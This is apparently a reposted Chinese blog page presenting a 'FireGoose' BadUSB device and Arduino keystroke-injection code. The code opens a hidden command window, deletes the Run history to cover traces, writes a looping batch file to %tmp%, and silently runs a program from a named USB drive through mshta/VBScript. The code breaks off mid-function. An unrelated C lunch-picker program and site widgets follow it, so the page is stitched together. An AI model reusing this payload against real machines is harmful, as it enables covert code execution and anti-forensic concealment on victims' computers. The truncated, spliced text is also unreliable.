中国烧鹅系列:利用烧鹅自动执行SD卡上的自定义程序(含视频)

烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板,外观看起来很像USB Rubber Ducky(大黄鸭),但并非Hak5所销售版本。 

所以没有使用USB Rubber Ducky的固件功能,不可以直接使用USB Rubber Ducky的脚本,可以直接使用Arduino IDE来编写自定义代码、也可以使用S.E.T、Kautilya套件生成代码使用。
自带SD卡槽,可外接SD作为扩展,支持BadUSB代码。

FreeBuf报道:《烧鹅:中国人自己的HID Hacking Device》《中国烧鹅系列:利用烧鹅自动获得反弹SHELL》

上期介绍了利用烧鹅自动获得反弹SHELL,总是觉得不太完美,脑洞之后,我们还可以这么玩:利用烧鹅自动执行SD卡上的自定义程序,可以在很短的时间(5秒左右)完成Attack。

原理

烧鹅模拟USB键盘,自动输入Win+R ,为了尽可能的隐藏,开启一个很小的CMD窗口,然后在%tmp%目录写个批处理,后台隐藏执行,每隔5秒监控U盘或者SD卡的指定程序是否存在。若存在就隐藏执行,若不存在就继续循环监控,直到找到指定的可执行文件。

这样就达到了自动执行SD卡上的自定义程序,效果就是,插入U盘之后,指定的程序就自动执行了!

   

以下是demo 代码,各位可以自行测试,自由修改!

 void setup()  {    delay(5000);    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);    Keyboard.set_key1(KEY_R);    Keyboard.send_now();    delay(100);    Keyboard.print("cmd /T:01 /K mode CON: COLS=16 LINES=1");  //开启很小的cmd窗口    Keyboard.set_key1(KEY_ENTER);    Keyboard.send_now();     delay(200);    Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清理运行记录    Keyboard.set_key1(KEY_ENTER);    Keyboard.send_now();     Keyboard.println("del /f /q %tmp%\\w.bat 2>nul");  //先删除可能存在的批处理    Keyboard.set_key1(KEY_ENTER);    Keyboard.send_now();     Keyboard.println("copy con %tmp%\\w.bat");         //写入新的批处理文件    Keyboard.send_now();     Keyboard.println("@echo off");    Keyboard.println(":lp");    Keyboard.println("ping 127.1 -n 5 >nul");    Keyboard.println("for /F %%A in ('wmic volume get driveletter^,label ^| find \"FireGoose\"') do (set Fire=%%A)"); //利用wim查询指定U盘是否插入电脑    Keyboard.println("IF EXIST \"%Fire%\\files\\Fire_shell.bat\" (copy /y \"%Fire%\\files\\Fire_shell.bat\" %tmp%\\");//若存在指定文件,就复制到%tmp%    Keyboard.println("mshta vbscript:createobject^(\"wscript.shell\"^).run^(\"%tmp%\\Fire_shell.bat\",0^)^(window.close^)) ELSE (goto :lp )");//利用VBS隐藏执行bat    Keyboard.set_modifier(MODIFIERKEY_CTRL); //保存以上写入的批处理    Keyboard.set_key1(KEY_Z);    Keyboard.send_now();    Keyboard.set_modifier(0);    Keyboard.set_key1(0);    Keyboard.send_now();    Keyboard.set_key1(KEY_ENTER);    Keyboard.send_now();    delay(200);    Keyboard.println("mshta vbscript:createobject(\"wscript.shell\").run(\"%tmp%\\w.bat\",0)(window.close) && exit"); //VBS隐藏执行w.bat并退出    Keyboard.set_key1(KEY_ENTER);    Keyboard.send_now();    Keyboard.set_modifier(0);  

转载于:https://www.cnblogs.com/small-gray/p/5392051.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,以下是一个使用 C 语言编写的示例程序,可以帮助您解决午餐选择问题: ```c #include <stdio.h> #include <stdlib.h> #include <time.h> int main() { char options[5][20] = { "10元快餐", "兰州拉面", "烧鹅饭", "智能餐厅", "美团外卖" }; int num_options = 5; char user_input[20]; // 获取用户输入 printf("请输入您想吃的餐厅或餐饮类型:\n"); fgets(user_input, 20, stdin); // 随机选择一个选项 srand(time(NULL)); int index; if (user_input[0] == '\n') { index = rand() % num_options; } else { int i; for (i = 0; i < num_options; i++) { if (strstr(options[i], user_input) != NULL) { break; } } if (i == num_options) { printf("没有找到匹配的选项!\n"); return 0; } else { index = i; } } // 输出结果 printf("今天的午餐去%s吃吧!\n", options[index]); return 0; } ``` 程序首先定义了五个选项,并且使用一个二维字符数组来存储这些选项。程序使用 `fgets` 函数获取用户输入,并且使用 `strstr` 函数来查找用户输入是否与选项匹配。如果找到了匹配的选项,程序就选择了这个选项;如果没有找到匹配的选项,程序会输出提示信息。如果用户没有输入选项,程序会随机选择一个选项。 程序使用 `srand` 函数和 `rand` 函数来生成随机数。为了使每次生成的随机数不同,程序使用了 `time` 函数来获取当前时间,并且将其作为 `srand` 函数的参数。 注意:在使用 `fgets` 函数获取用户输入时,需要注意字符串的长度和结尾的换行符。在本示例程序中,我们假设用户输入的字符串最长不超过 20 个字符,因此我们定义了一个长度为 20 的字符数组来存储用户输入。当用户输入时,字符串的结尾会自动添加一个换行符,因此我们需要在比较字符串时忽略这个换行符。 希望这个示例程序可以帮助您解决午餐选择问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值